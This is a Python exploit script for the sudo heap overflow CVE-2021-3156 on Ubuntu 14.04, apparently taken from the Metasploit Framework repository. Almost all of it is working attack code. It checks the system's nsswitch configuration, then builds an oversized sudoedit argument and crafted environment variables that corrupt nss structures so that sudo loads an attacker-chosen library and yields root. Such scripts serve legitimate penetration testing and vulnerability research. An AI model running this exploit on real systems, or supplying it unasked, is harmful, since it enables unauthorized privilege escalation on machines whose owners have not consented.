rapid7/metasploit-framework

#!/usr/bin/python
'''
Exploit for CVE-2021-3156 on Ubuntu 14.04 by sleepya

From https://github.com/worawit/CVE-2021-3156

This exploit requires:
- glibc without tcache
- nscd service is not running
- only defaults /etc/nsswitch.conf (need adjust LC_* if changed)

Ubuntu 14.04 uses eglibc. A name in name_database_entry and service_user is pointer.
- NULL name_database_entry->next, name_database_entry->service.
- overwite name_database_entry->name with address in VSYSCALL
- overwrite least significant byte of service_user->name to NULL. so a name pointer
  points back to overwritten area.

Note: Exploit might fail with certain configuration even on a tested target. Don't expect too much.

Tested on:
- Ubuntu 14.04.3
'''
import os
import sys
from struct import pack

SUDO_PATH = b"/usr/bin/sudo"

def execve(filename, argv, envp):
    from ctypes import cdll, c_char_p, POINTER

    libc = cdll.LoadLibrary("libc.so.6")
    libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
    
    cargv = (c_char_p * len(argv))(*argv)
    cenvp = (c_char_p * len(env))(*envp)

    libc.execve(filename, cargv, cenvp)

def check_nsswitch():
    idx = 0
    found_passwd = False
    with open('/etc/nsswitch.conf', 'r') as f:
        for line in f:
            if line.startswith('#'):
                continue # comment
            line = line.strip()
            if not line:
                continue # empty line
            words = line.split()
            cnt = 0
            for word in words[1:]:
                if word[0] != '[':
                    cnt += 1
            if words[0] == 'group:':
                if not found_passwd:
                    return False
                return cnt == 1
            if words[0] == 'passwd:':
                if cnt != 1:
                    return False
                found_passwd = True
            # TODO: should check all line because they might affect offset
            
    return False

assert check_nsswitch(), '/etc/nsswith.conf is not default. offset is definitely wrong'

TARGET_CMND_SIZE = 0x30

libnss = sys.argv[1]
working_dir = sys.argv[2]

os.chdir(working_dir)

argv = [ b"sudoedit", b"-A", b"-s", b"a", b"a", b"A"*(TARGET_CMND_SIZE-0x10-4)+b"\\", None ]

env = [
    b"A"*(0xf+0x50) +
    b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # name_database_entry->next
    b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # name_database_entry->service
    pack("<Q", 0xffffffffff600880) + # address in vsyscall
    b"A"*0x18 + # name_database_entry->name, padding, service_user chunk size
    b"A"*0x10 +
    libnss + "\\", # service_user->name
    b"A"*0x8 + 
    b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # service_user->library
    b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # service_user->known
    b"", # NULL 1 byte of pointer to library name
    b"LC_MESSAGES=C_zzzzzzzz.UTF-8@"+b"L"*0x30+b";a=a",
    b"LC_PAPER=C.UTF-8@"+b"L"*0x10,
    b"LC_NAME=C.UTF-8@"+b"L"*0x1,
    b"LC_TIME=C.UTF-8@"+b"L"*0x1,
    b"LANG=C.UTF-8@"+b"Z"*0xd0,
    None,
]

execve(SUDO_PATH, argv, env)